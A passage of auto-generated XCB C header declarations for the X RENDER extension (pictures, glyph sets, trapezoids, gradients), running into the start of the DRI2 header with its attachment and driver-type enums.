returned error will be * saved for handling by xcb_request_check(). */ xcb_void_cookie_t xcb_render_change_picture_checked (xcb_connection_t *c, xcb_render_picture_t picture, uint32_t value_mask, const void *value_list); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_void_cookie_t xcb_render_change_picture (xcb_connection_t *c, xcb_render_picture_t picture, uint32_t value_mask, const void *value_list); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will not cause * a reply to be generated. Any returned error will be * saved for handling by xcb_request_check(). */ xcb_void_cookie_t xcb_render_change_picture_aux_checked (xcb_connection_t *c, xcb_render_picture_t picture, uint32_t value_mask, const xcb_render_change_picture_value_list_t *value_list); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_void_cookie_t xcb_render_change_picture_aux (xcb_connection_t *c, xcb_render_picture_t picture, uint32_t value_mask, const xcb_render_change_picture_value_list_t *value_list); void * xcb_render_change_picture_value_list (const xcb_render_change_picture_request_t *R); int xcb_render_set_picture_clip_rectangles_sizeof (const void *_buffer, uint32_t rectangles_len); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will not cause * a reply to be generated. Any returned error will be * saved for handling by xcb_request_check(). */ xcb_void_cookie_t xcb_render_set_picture_clip_rectangles_checked (xcb_connection_t *c, xcb_render_picture_t picture, int16_t clip_x_origin, int16_t clip_y_origin, uint32_t rectangles_len, const xcb_rectangle_t *rectangles); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_void_cookie_t xcb_render_set_picture_clip_rectangles (xcb_connection_t *c, xcb_render_picture_t picture, int16_t clip_x_origin, int16_t clip_y_origin, uint32_t rectangles_len, const xcb_rectangle_t *rectangles); xcb_rectangle_t * xcb_render_set_picture_clip_rectangles_rectangles (const xcb_render_set_picture_clip_rectangles_request_t *R); int xcb_render_set_picture_clip_rectangles_rectangles_length (const xcb_render_set_picture_clip_rectangles_request_t *R); xcb_rectangle_iterator_t xcb_render_set_picture_clip_rectangles_rectangles_iterator (const xcb_render_set_picture_clip_rectangles_request_t *R); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will not cause * a reply to be generated. Any returned error will be * saved for handling by xcb_request_check(). */ xcb_void_cookie_t xcb_render_free_picture_checked (xcb_connection_t *c, xcb_render_picture_t picture); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_void_cookie_t xcb_render_free_picture (xcb_connection_t *c, xcb_render_picture_t picture); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will not cause * a reply to be generated. Any returned error will be * saved for handling by xcb_request_check(). */ xcb_void_cookie_t xcb_render_composite_checked (xcb_connection_t *c, uint8_t op, xcb_render_picture_t src, xcb_render_picture_t mask, xcb_render_picture_t dst, int16_t src_x, int16_t src_y, int16_t mask_x, int16_t mask_y, int16_t dst_x, int16_t dst_y, uint16_t width, uint16_t height); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_void_cookie_t xcb_render_composite (xcb_connection_t *c, uint8_t op, xcb_render_picture_t src, xcb_render_picture_t mask, xcb_render_picture_t dst, int16_t src_x, int16_t src_y, int16_t mask_x, int16_t mask_y, int16_t dst_x, int16_t dst_y, uint16_t width, uint16_t height); int xcb_render_trapezoids_sizeof (const void *_buffer, uint32_t traps_len); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will not cause * a reply to be generated. Any returned error will be * saved for handling by xcb_request_check(). */ xcb_void_cookie_t xcb_render_trapezoids_checked (xcb_connection_t *c, uint8_t op, xcb_render_picture_t src, xcb_render_picture_t dst, xcb_render_pictformat_t mask_format, int16_t src_x, int16_t src_y, uint32_t traps_len, const xcb_render_trapezoid_t *traps); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_void_cookie_t xcb_render_trapezoids (xcb_connection_t *c, uint8_t op, xcb_render_picture_t src, xcb_render_picture_t dst, xcb_render_pictformat_t mask_format, int16_t src_x, int16_t src_y, uint32_t traps_len, const xcb_render_trapezoid_t *traps); xcb_render_trapezoid_t * xcb_render_trapezoids_traps (const xcb_render_trapezoids_request_t *R); int xcb_render_trapezoids_traps_length (const xcb_render_trapezoids_request_t *R); xcb_render_trapezoid_iterator_t xcb_render_trapezoids_traps_iterator (const xcb_render_trapezoids_request_t *R); int xcb_render_triangles_sizeof (const void *_buffer, uint32_t triangles_len); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will not cause * a reply to be generated. Any returned error will be * saved for handling by xcb_request_check(). */ xcb_void_cookie_t xcb_render_triangles_checked (xcb_connection_t *c, uint8_t op, xcb_render_picture_t src, xcb_render_picture_t dst, xcb_render_pictformat_t mask_format, int16_t src_x, int16_t src_y, uint32_t triangles_len, const xcb_render_triangle_t *triangles); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_void_cookie_t xcb_render_triangles (xcb_connection_t *c, uint8_t op, xcb_render_picture_t src, xcb_render_picture_t dst, xcb_render_pictformat_t mask_format, int16_t src_x, int16_t src_y, uint32_t triangles_len, const xcb_render_triangle_t *triangles); xcb_render_triangle_t * xcb_render_triangles_triangles (const xcb_render_triangles_request_t *R); int xcb_render_triangles_triangles_length (const xcb_render_triangles_request_t *R); xcb_render_triangle_iterator_t xcb_render_triangles_triangles_iterator (const xcb_render_triangles_request_t *R); int xcb_render_tri_strip_sizeof (const void *_buffer, uint32_t points_len); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will not cause * a reply to be generated. Any returned error will be * saved for handling by xcb_request_check(). */ xcb_void_cookie_t xcb_render_tri_strip_checked (xcb_connection_t *c, uint8_t op, xcb_render_picture_t src, xcb_render_picture_t dst, xcb_render_pictformat_t mask_format, int16_t src_x, int16_t src_y, uint32_t points_len, const xcb_render_pointfix_t *points); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_void_cookie_t xcb_render_tri_strip (xcb_connection_t *c, uint8_t op, xcb_render_picture_t src, xcb_render_picture_t dst, xcb_render_pictformat_t mask_format, int16_t src_x, int16_t src_y, uint32_t points_len, const xcb_render_pointfix_t *points); xcb_render_pointfix_t * xcb_render_tri_strip_points (const xcb_render_tri_strip_request_t *R); int xcb_render_tri_strip_points_length (const xcb_render_tri_strip_request_t *R); xcb_render_pointfix_iterator_t xcb_render_tri_strip_points_iterator (const xcb_render_tri_strip_request_t *R); int xcb_render_tri_fan_sizeof (const void *_buffer, uint32_t points_len); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will not cause * a reply to be generated. Any returned error will be * saved for handling by xcb_request_check(). */ xcb_void_cookie_t xcb_render_tri_fan_checked (xcb_connection_t *c, uint8_t op, xcb_render_picture_t src, xcb_render_picture_t dst, xcb_render_pictformat_t mask_format, int16_t src_x, int16_t src_y, uint32_t points_len, const xcb_render_pointfix_t *points); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_void_cookie_t xcb_render_tri_fan (xcb_connection_t *c, uint8_t op, xcb_render_picture_t src, xcb_render_picture_t dst, xcb_render_pictformat_t mask_format, int16_t src_x, int16_t src_y, uint32_t points_len, const xcb_render_pointfix_t *points); xcb_render_pointfix_t * xcb_render_tri_fan_points (const xcb_render_tri_fan_request_t *R); int xcb_render_tri_fan_points_length (const xcb_render_tri_fan_request_t *R); xcb_render_pointfix_iterator_t xcb_render_tri_fan_points_iterator (const xcb_render_tri_fan_request_t *R); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will not cause * a reply to be generated. Any returned error will be * saved for handling by xcb_request_check(). */ xcb_void_cookie_t xcb_render_create_glyph_set_checked (xcb_connection_t *c, xcb_render_glyphset_t gsid, xcb_render_pictformat_t format); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_void_cookie_t xcb_render_create_glyph_set (xcb_connection_t *c, xcb_render_glyphset_t gsid, xcb_render_pictformat_t format); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will not cause * a reply to be generated. Any returned error will be * saved for handling by xcb_request_check(). */ xcb_void_cookie_t xcb_render_reference_glyph_set_checked (xcb_connection_t *c, xcb_render_glyphset_t gsid, xcb_render_glyphset_t existing); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_void_cookie_t xcb_render_reference_glyph_set (xcb_connection_t *c, xcb_render_glyphset_t gsid, xcb_render_glyphset_t existing); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will not cause * a reply to be generated. Any returned error will be * saved for handling by xcb_request_check(). */ xcb_void_cookie_t xcb_render_free_glyph_set_checked (xcb_connection_t *c, xcb_render_glyphset_t glyphset); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_void_cookie_t xcb_render_free_glyph_set (xcb_connection_t *c, xcb_render_glyphset_t glyphset); int xcb_render_add_glyphs_sizeof (const void *_buffer, uint32_t data_len); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will not cause * a reply to be generated. Any returned error will be * saved for handling by xcb_request_check(). */ xcb_void_cookie_t xcb_render_add_glyphs_checked (xcb_connection_t *c, xcb_render_glyphset_t glyphset, uint32_t glyphs_len, const uint32_t *glyphids, const xcb_render_glyphinfo_t *glyphs, uint32_t data_len, const uint8_t *data); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_void_cookie_t xcb_render_add_glyphs (xcb_connection_t *c, xcb_render_glyphset_t glyphset, uint32_t glyphs_len, const uint32_t *glyphids, const xcb_render_glyphinfo_t *glyphs, uint32_t data_len, const uint8_t *data); uint32_t * xcb_render_add_glyphs_glyphids (const xcb_render_add_glyphs_request_t *R); int xcb_render_add_glyphs_glyphids_length (const xcb_render_add_glyphs_request_t *R); xcb_generic_iterator_t xcb_render_add_glyphs_glyphids_end (const xcb_render_add_glyphs_request_t *R); xcb_render_glyphinfo_t * xcb_render_add_glyphs_glyphs (const xcb_render_add_glyphs_request_t *R); int xcb_render_add_glyphs_glyphs_length (const xcb_render_add_glyphs_request_t *R); xcb_render_glyphinfo_iterator_t xcb_render_add_glyphs_glyphs_iterator (const xcb_render_add_glyphs_request_t *R); uint8_t * xcb_render_add_glyphs_data (const xcb_render_add_glyphs_request_t *R); int xcb_render_add_glyphs_data_length (const xcb_render_add_glyphs_request_t *R); xcb_generic_iterator_t xcb_render_add_glyphs_data_end (const xcb_render_add_glyphs_request_t *R); int xcb_render_free_glyphs_sizeof (const void *_buffer, uint32_t glyphs_len); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will not cause * a reply to be generated. Any returned error will be * saved for handling by xcb_request_check(). */ xcb_void_cookie_t xcb_render_free_glyphs_checked (xcb_connection_t *c, xcb_render_glyphset_t glyphset, uint32_t glyphs_len, const xcb_render_glyph_t *glyphs); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_void_cookie_t xcb_render_free_glyphs (xcb_connection_t *c, xcb_render_glyphset_t glyphset, uint32_t glyphs_len, const xcb_render_glyph_t *glyphs); xcb_render_glyph_t * xcb_render_free_glyphs_glyphs (const xcb_render_free_glyphs_request_t *R); int xcb_render_free_glyphs_glyphs_length (const xcb_render_free_glyphs_request_t *R); xcb_generic_iterator_t xcb_render_free_glyphs_glyphs_end (const xcb_render_free_glyphs_request_t *R); int xcb_render_composite_glyphs_8_sizeof (const void *_buffer, uint32_t glyphcmds_len); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will not cause * a reply to be generated. Any returned error will be * saved for handling by xcb_request_check(). */ xcb_void_cookie_t xcb_render_composite_glyphs_8_checked (xcb_connection_t *c, uint8_t op, xcb_render_picture_t src, xcb_render_picture_t dst, xcb_render_pictformat_t mask_format, xcb_render_glyphset_t glyphset, int16_t src_x, int16_t src_y, uint32_t glyphcmds_len, const uint8_t *glyphcmds); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_void_cookie_t xcb_render_composite_glyphs_8 (xcb_connection_t *c, uint8_t op, xcb_render_picture_t src, xcb_render_picture_t dst, xcb_render_pictformat_t mask_format, xcb_render_glyphset_t glyphset, int16_t src_x, int16_t src_y, uint32_t glyphcmds_len, const uint8_t *glyphcmds); uint8_t * xcb_render_composite_glyphs_8_glyphcmds (const xcb_render_composite_glyphs_8_request_t *R); int xcb_render_composite_glyphs_8_glyphcmds_length (const xcb_render_composite_glyphs_8_request_t *R); xcb_generic_iterator_t xcb_render_composite_glyphs_8_glyphcmds_end (const xcb_render_composite_glyphs_8_request_t *R); int xcb_render_composite_glyphs_16_sizeof (const void *_buffer, uint32_t glyphcmds_len); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will not cause * a reply to be generated. Any returned error will be * saved for handling by xcb_request_check(). */ xcb_void_cookie_t xcb_render_composite_glyphs_16_checked (xcb_connection_t *c, uint8_t op, xcb_render_picture_t src, xcb_render_picture_t dst, xcb_render_pictformat_t mask_format, xcb_render_glyphset_t glyphset, int16_t src_x, int16_t src_y, uint32_t glyphcmds_len, const uint8_t *glyphcmds); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_void_cookie_t xcb_render_composite_glyphs_16 (xcb_connection_t *c, uint8_t op, xcb_render_picture_t src, xcb_render_picture_t dst, xcb_render_pictformat_t mask_format, xcb_render_glyphset_t glyphset, int16_t src_x, int16_t src_y, uint32_t glyphcmds_len, const uint8_t *glyphcmds); uint8_t * xcb_render_composite_glyphs_16_glyphcmds (const xcb_render_composite_glyphs_16_request_t *R); int xcb_render_composite_glyphs_16_glyphcmds_length (const xcb_render_composite_glyphs_16_request_t *R); xcb_generic_iterator_t xcb_render_composite_glyphs_16_glyphcmds_end (const xcb_render_composite_glyphs_16_request_t *R); int xcb_render_composite_glyphs_32_sizeof (const void *_buffer, uint32_t glyphcmds_len); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will not cause * a reply to be generated. Any returned error will be * saved for handling by xcb_request_check(). */ xcb_void_cookie_t xcb_render_composite_glyphs_32_checked (xcb_connection_t *c, uint8_t op, xcb_render_picture_t src, xcb_render_picture_t dst, xcb_render_pictformat_t mask_format, xcb_render_glyphset_t glyphset, int16_t src_x, int16_t src_y, uint32_t glyphcmds_len, const uint8_t *glyphcmds); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_void_cookie_t xcb_render_composite_glyphs_32 (xcb_connection_t *c, uint8_t op, xcb_render_picture_t src, xcb_render_picture_t dst, xcb_render_pictformat_t mask_format, xcb_render_glyphset_t glyphset, int16_t src_x, int16_t src_y, uint32_t glyphcmds_len, const uint8_t *glyphcmds); uint8_t * xcb_render_composite_glyphs_32_glyphcmds (const xcb_render_composite_glyphs_32_request_t *R); int xcb_render_composite_glyphs_32_glyphcmds_length (const xcb_render_composite_glyphs_32_request_t *R); xcb_generic_iterator_t xcb_render_composite_glyphs_32_glyphcmds_end (const xcb_render_composite_glyphs_32_request_t *R); int xcb_render_fill_rectangles_sizeof (const void *_buffer, uint32_t rects_len); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will not cause * a reply to be generated. Any returned error will be * saved for handling by xcb_request_check(). */ xcb_void_cookie_t xcb_render_fill_rectangles_checked (xcb_connection_t *c, uint8_t op, xcb_render_picture_t dst, xcb_render_color_t color, uint32_t rects_len, const xcb_rectangle_t *rects); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_void_cookie_t xcb_render_fill_rectangles (xcb_connection_t *c, uint8_t op, xcb_render_picture_t dst, xcb_render_color_t color, uint32_t rects_len, const xcb_rectangle_t *rects); xcb_rectangle_t * xcb_render_fill_rectangles_rects (const xcb_render_fill_rectangles_request_t *R); int xcb_render_fill_rectangles_rects_length (const xcb_render_fill_rectangles_request_t *R); xcb_rectangle_iterator_t xcb_render_fill_rectangles_rects_iterator (const xcb_render_fill_rectangles_request_t *R); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will not cause * a reply to be generated. Any returned error will be * saved for handling by xcb_request_check(). */ xcb_void_cookie_t xcb_render_create_cursor_checked (xcb_connection_t *c, xcb_cursor_t cid, xcb_render_picture_t source, uint16_t x, uint16_t y); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_void_cookie_t xcb_render_create_cursor (xcb_connection_t *c, xcb_cursor_t cid, xcb_render_picture_t source, uint16_t x, uint16_t y); /** * Get the next element of the iterator * @param i Pointer to a xcb_render_transform_iterator_t * * Get the next element in the iterator. The member rem is * decreased by one. The member data points to the next * element. The member index is increased by sizeof(xcb_render_transform_t) */ void xcb_render_transform_next (xcb_render_transform_iterator_t *i); /** * Return the iterator pointing to the last element * @param i An xcb_render_transform_iterator_t * @return The iterator pointing to the last element * * Set the current element in the iterator to the last element. * The member rem is set to 0. The member data points to the * last element. */ xcb_generic_iterator_t xcb_render_transform_end (xcb_render_transform_iterator_t i); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will not cause * a reply to be generated. Any returned error will be * saved for handling by xcb_request_check(). */ xcb_void_cookie_t xcb_render_set_picture_transform_checked (xcb_connection_t *c, xcb_render_picture_t picture, xcb_render_transform_t transform); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_void_cookie_t xcb_render_set_picture_transform (xcb_connection_t *c, xcb_render_picture_t picture, xcb_render_transform_t transform); int xcb_render_query_filters_sizeof (const void *_buffer); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_render_query_filters_cookie_t xcb_render_query_filters (xcb_connection_t *c, xcb_drawable_t drawable); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will cause * a reply to be generated. Any returned error will be * placed in the event queue. */ xcb_render_query_filters_cookie_t xcb_render_query_filters_unchecked (xcb_connection_t *c, xcb_drawable_t drawable); uint16_t * xcb_render_query_filters_aliases (const xcb_render_query_filters_reply_t *R); int xcb_render_query_filters_aliases_length (const xcb_render_query_filters_reply_t *R); xcb_generic_iterator_t xcb_render_query_filters_aliases_end (const xcb_render_query_filters_reply_t *R); int xcb_render_query_filters_filters_length (const xcb_render_query_filters_reply_t *R); xcb_str_iterator_t xcb_render_query_filters_filters_iterator (const xcb_render_query_filters_reply_t *R); /** * Return the reply * @param c The connection * @param cookie The cookie * @param e The xcb_generic_error_t supplied * * Returns the reply of the request asked by * * The parameter @p e supplied to this function must be NULL if * xcb_render_query_filters_unchecked(). is used. * Otherwise, it stores the error if any. * * The returned value must be freed by the caller using free(). */ xcb_render_query_filters_reply_t * xcb_render_query_filters_reply (xcb_connection_t *c, xcb_render_query_filters_cookie_t cookie /**< */, xcb_generic_error_t **e); int xcb_render_set_picture_filter_sizeof (const void *_buffer, uint32_t values_len); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will not cause * a reply to be generated. Any returned error will be * saved for handling by xcb_request_check(). */ xcb_void_cookie_t xcb_render_set_picture_filter_checked (xcb_connection_t *c, xcb_render_picture_t picture, uint16_t filter_len, const char *filter, uint32_t values_len, const xcb_render_fixed_t *values); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_void_cookie_t xcb_render_set_picture_filter (xcb_connection_t *c, xcb_render_picture_t picture, uint16_t filter_len, const char *filter, uint32_t values_len, const xcb_render_fixed_t *values); char * xcb_render_set_picture_filter_filter (const xcb_render_set_picture_filter_request_t *R); int xcb_render_set_picture_filter_filter_length (const xcb_render_set_picture_filter_request_t *R); xcb_generic_iterator_t xcb_render_set_picture_filter_filter_end (const xcb_render_set_picture_filter_request_t *R); xcb_render_fixed_t * xcb_render_set_picture_filter_values (const xcb_render_set_picture_filter_request_t *R); int xcb_render_set_picture_filter_values_length (const xcb_render_set_picture_filter_request_t *R); xcb_generic_iterator_t xcb_render_set_picture_filter_values_end (const xcb_render_set_picture_filter_request_t *R); /** * Get the next element of the iterator * @param i Pointer to a xcb_render_animcursorelt_iterator_t * * Get the next element in the iterator. The member rem is * decreased by one. The member data points to the next * element. The member index is increased by sizeof(xcb_render_animcursorelt_t) */ void xcb_render_animcursorelt_next (xcb_render_animcursorelt_iterator_t *i); /** * Return the iterator pointing to the last element * @param i An xcb_render_animcursorelt_iterator_t * @return The iterator pointing to the last element * * Set the current element in the iterator to the last element. * The member rem is set to 0. The member data points to the * last element. */ xcb_generic_iterator_t xcb_render_animcursorelt_end (xcb_render_animcursorelt_iterator_t i); int xcb_render_create_anim_cursor_sizeof (const void *_buffer, uint32_t cursors_len); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will not cause * a reply to be generated. Any returned error will be * saved for handling by xcb_request_check(). */ xcb_void_cookie_t xcb_render_create_anim_cursor_checked (xcb_connection_t *c, xcb_cursor_t cid, uint32_t cursors_len, const xcb_render_animcursorelt_t *cursors); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_void_cookie_t xcb_render_create_anim_cursor (xcb_connection_t *c, xcb_cursor_t cid, uint32_t cursors_len, const xcb_render_animcursorelt_t *cursors); xcb_render_animcursorelt_t * xcb_render_create_anim_cursor_cursors (const xcb_render_create_anim_cursor_request_t *R); int xcb_render_create_anim_cursor_cursors_length (const xcb_render_create_anim_cursor_request_t *R); xcb_render_animcursorelt_iterator_t xcb_render_create_anim_cursor_cursors_iterator (const xcb_render_create_anim_cursor_request_t *R); /** * Get the next element of the iterator * @param i Pointer to a xcb_render_spanfix_iterator_t * * Get the next element in the iterator. The member rem is * decreased by one. The member data points to the next * element. The member index is increased by sizeof(xcb_render_spanfix_t) */ void xcb_render_spanfix_next (xcb_render_spanfix_iterator_t *i); /** * Return the iterator pointing to the last element * @param i An xcb_render_spanfix_iterator_t * @return The iterator pointing to the last element * * Set the current element in the iterator to the last element. * The member rem is set to 0. The member data points to the * last element. */ xcb_generic_iterator_t xcb_render_spanfix_end (xcb_render_spanfix_iterator_t i); /** * Get the next element of the iterator * @param i Pointer to a xcb_render_trap_iterator_t * * Get the next element in the iterator. The member rem is * decreased by one. The member data points to the next * element. The member index is increased by sizeof(xcb_render_trap_t) */ void xcb_render_trap_next (xcb_render_trap_iterator_t *i); /** * Return the iterator pointing to the last element * @param i An xcb_render_trap_iterator_t * @return The iterator pointing to the last element * * Set the current element in the iterator to the last element. * The member rem is set to 0. The member data points to the * last element. */ xcb_generic_iterator_t xcb_render_trap_end (xcb_render_trap_iterator_t i); int xcb_render_add_traps_sizeof (const void *_buffer, uint32_t traps_len); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will not cause * a reply to be generated. Any returned error will be * saved for handling by xcb_request_check(). */ xcb_void_cookie_t xcb_render_add_traps_checked (xcb_connection_t *c, xcb_render_picture_t picture, int16_t x_off, int16_t y_off, uint32_t traps_len, const xcb_render_trap_t *traps); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_void_cookie_t xcb_render_add_traps (xcb_connection_t *c, xcb_render_picture_t picture, int16_t x_off, int16_t y_off, uint32_t traps_len, const xcb_render_trap_t *traps); xcb_render_trap_t * xcb_render_add_traps_traps (const xcb_render_add_traps_request_t *R); int xcb_render_add_traps_traps_length (const xcb_render_add_traps_request_t *R); xcb_render_trap_iterator_t xcb_render_add_traps_traps_iterator (const xcb_render_add_traps_request_t *R); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will not cause * a reply to be generated. Any returned error will be * saved for handling by xcb_request_check(). */ xcb_void_cookie_t xcb_render_create_solid_fill_checked (xcb_connection_t *c, xcb_render_picture_t picture, xcb_render_color_t color); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_void_cookie_t xcb_render_create_solid_fill (xcb_connection_t *c, xcb_render_picture_t picture, xcb_render_color_t color); int xcb_render_create_linear_gradient_sizeof (const void *_buffer); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will not cause * a reply to be generated. Any returned error will be * saved for handling by xcb_request_check(). */ xcb_void_cookie_t xcb_render_create_linear_gradient_checked (xcb_connection_t *c, xcb_render_picture_t picture, xcb_render_pointfix_t p1, xcb_render_pointfix_t p2, uint32_t num_stops, const xcb_render_fixed_t *stops, const xcb_render_color_t *colors); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_void_cookie_t xcb_render_create_linear_gradient (xcb_connection_t *c, xcb_render_picture_t picture, xcb_render_pointfix_t p1, xcb_render_pointfix_t p2, uint32_t num_stops, const xcb_render_fixed_t *stops, const xcb_render_color_t *colors); xcb_render_fixed_t * xcb_render_create_linear_gradient_stops (const xcb_render_create_linear_gradient_request_t *R); int xcb_render_create_linear_gradient_stops_length (const xcb_render_create_linear_gradient_request_t *R); xcb_generic_iterator_t xcb_render_create_linear_gradient_stops_end (const xcb_render_create_linear_gradient_request_t *R); xcb_render_color_t * xcb_render_create_linear_gradient_colors (const xcb_render_create_linear_gradient_request_t *R); int xcb_render_create_linear_gradient_colors_length (const xcb_render_create_linear_gradient_request_t *R); xcb_render_color_iterator_t xcb_render_create_linear_gradient_colors_iterator (const xcb_render_create_linear_gradient_request_t *R); int xcb_render_create_radial_gradient_sizeof (const void *_buffer); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will not cause * a reply to be generated. Any returned error will be * saved for handling by xcb_request_check(). */ xcb_void_cookie_t xcb_render_create_radial_gradient_checked (xcb_connection_t *c, xcb_render_picture_t picture, xcb_render_pointfix_t inner, xcb_render_pointfix_t outer, xcb_render_fixed_t inner_radius, xcb_render_fixed_t outer_radius, uint32_t num_stops, const xcb_render_fixed_t *stops, const xcb_render_color_t *colors); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_void_cookie_t xcb_render_create_radial_gradient (xcb_connection_t *c, xcb_render_picture_t picture, xcb_render_pointfix_t inner, xcb_render_pointfix_t outer, xcb_render_fixed_t inner_radius, xcb_render_fixed_t outer_radius, uint32_t num_stops, const xcb_render_fixed_t *stops, const xcb_render_color_t *colors); xcb_render_fixed_t * xcb_render_create_radial_gradient_stops (const xcb_render_create_radial_gradient_request_t *R); int xcb_render_create_radial_gradient_stops_length (const xcb_render_create_radial_gradient_request_t *R); xcb_generic_iterator_t xcb_render_create_radial_gradient_stops_end (const xcb_render_create_radial_gradient_request_t *R); xcb_render_color_t * xcb_render_create_radial_gradient_colors (const xcb_render_create_radial_gradient_request_t *R); int xcb_render_create_radial_gradient_colors_length (const xcb_render_create_radial_gradient_request_t *R); xcb_render_color_iterator_t xcb_render_create_radial_gradient_colors_iterator (const xcb_render_create_radial_gradient_request_t *R); int xcb_render_create_conical_gradient_sizeof (const void *_buffer); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will not cause * a reply to be generated. Any returned error will be * saved for handling by xcb_request_check(). */ xcb_void_cookie_t xcb_render_create_conical_gradient_checked (xcb_connection_t *c, xcb_render_picture_t picture, xcb_render_pointfix_t center, xcb_render_fixed_t angle, uint32_t num_stops, const xcb_render_fixed_t *stops, const xcb_render_color_t *colors); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_void_cookie_t xcb_render_create_conical_gradient (xcb_connection_t *c, xcb_render_picture_t picture, xcb_render_pointfix_t center, xcb_render_fixed_t angle, uint32_t num_stops, const xcb_render_fixed_t *stops, const xcb_render_color_t *colors); xcb_render_fixed_t * xcb_render_create_conical_gradient_stops (const xcb_render_create_conical_gradient_request_t *R); int xcb_render_create_conical_gradient_stops_length (const xcb_render_create_conical_gradient_request_t *R); xcb_generic_iterator_t xcb_render_create_conical_gradient_stops_end (const xcb_render_create_conical_gradient_request_t *R); xcb_render_color_t * xcb_render_create_conical_gradient_colors (const xcb_render_create_conical_gradient_request_t *R); int xcb_render_create_conical_gradient_colors_length (const xcb_render_create_conical_gradient_request_t *R); xcb_render_color_iterator_t xcb_render_create_conical_gradient_colors_iterator (const xcb_render_create_conical_gradient_request_t *R); #ifdef __cplusplus } #endif #endif /** * @} */ xcb/dri2.h 0000644 00000105657 15246445047 0006362 0 ustar 00 /* * This file generated automatically from dri2.xml by c_client.py. * Edit at your peril. */ /** * @defgroup XCB_DRI2_API XCB DRI2 API * @brief DRI2 XCB Protocol Implementation. * @{ **/ #ifndef __DRI2_H #define __DRI2_H #include "xcb.h" #include "xproto.h" #ifdef __cplusplus extern "C" { #endif #define XCB_DRI2_MAJOR_VERSION 1 #define XCB_DRI2_MINOR_VERSION 4 extern xcb_extension_t xcb_dri2_id; typedef enum xcb_dri2_attachment_t { XCB_DRI2_ATTACHMENT_BUFFER_FRONT_LEFT = 0, XCB_DRI2_ATTACHMENT_BUFFER_BACK_LEFT = 1, XCB_DRI2_ATTACHMENT_BUFFER_FRONT_RIGHT = 2, XCB_DRI2_ATTACHMENT_BUFFER_BACK_RIGHT = 3, XCB_DRI2_ATTACHMENT_BUFFER_DEPTH = 4, XCB_DRI2_ATTACHMENT_BUFFER_STENCIL = 5, XCB_DRI2_ATTACHMENT_BUFFER_ACCUM = 6, XCB_DRI2_ATTACHMENT_BUFFER_FAKE_FRONT_LEFT = 7, XCB_DRI2_ATTACHMENT_BUFFER_FAKE_FRONT_RIGHT = 8, XCB_DRI2_ATTACHMENT_BUFFER_DEPTH_STENCIL = 9, XCB_DRI2_ATTACHMENT_BUFFER_HIZ = 10 } xcb_dri2_attachment_t; typedef enum xcb_dri2_driver_type_t { XCB_DRI2_DRIVER_TYPE_DRI = 0, XCB_DRI2_DRIVER_TYPE_VDPAU = 1 } 